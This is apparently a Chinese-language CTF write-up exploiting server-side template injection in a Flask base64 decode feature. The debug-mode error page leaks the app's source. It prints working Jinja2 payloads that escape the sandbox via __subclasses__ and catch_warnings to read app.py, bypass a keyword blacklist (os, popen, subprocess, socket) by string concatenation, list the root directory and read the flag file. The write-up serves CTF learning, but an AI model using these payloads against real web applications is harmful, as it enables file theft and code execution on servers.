知识点:1.flask的debug模式漏洞
2.flask字符拼接漏洞
1.开题
2.提示flask了,那不得不试一试SSTI
在加密内输入{{7*7}} ,生成base64码e3s3Kjd9fcKg; 将e3s3Kjd9fcKg输入到解码框内,显示no no no说明存在防御
换一个输入{{7+7}},base64码为e3s3Kzd9fQ==,解码后,显示的是14
综上存在SSTI
3.看提示页面,没啥东西,在解密页面(因为解密存在SSTI)再随便输入些字母,看到报错信息,网站打开了flask的debug模式,在debug页面中我们可以看到后台的路径和源码信息
有文件的名字,路径,出错的方法名等信息
我们查看一下decode方法
render_template属于jinja2的模板函数。render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
可参考学习:Python-模板注入_jinqipiaopiao的博客-优快云博客
4.关于jinja2
关于Flask SSTI,解锁你不知道的新姿势 - SecPulse.COM | 安全脉搏
需要用到的知识:
jinja2一共三种语法: 控制结构 {% %} 变量取值 {{ }} 注释 {# #}jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,从而绕过沙箱。
__class__ 返回调用的参数类型 __bases__ 返回基类列表 __mro__ 此属性是在方法解析期间寻找基类时的参考类元组 __subclasses__() 返回子类的列表 __globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变 量 与 func_globals 等价 __builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
看到源码里面有waf绕过,我们看一下文件的源码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
先加密,再扔到解密里,
关于waf的代码如下:
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
过滤了flag,os,system,popen,eval等
不过这倒不同担心,这个有一个典型的漏洞,就是字符串拼接漏洞
先查看一下当前的目录
for c in __class__.__base__.__subclass__()
if c.__name__ = 'catch_warnings'
c.__init__.__globals__.['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')
end if
end for
整理后payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
解得:
同样得,构造payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
解得:
flag{8d29f4dc-292a-4ff3-ac98-285d0a396a8e}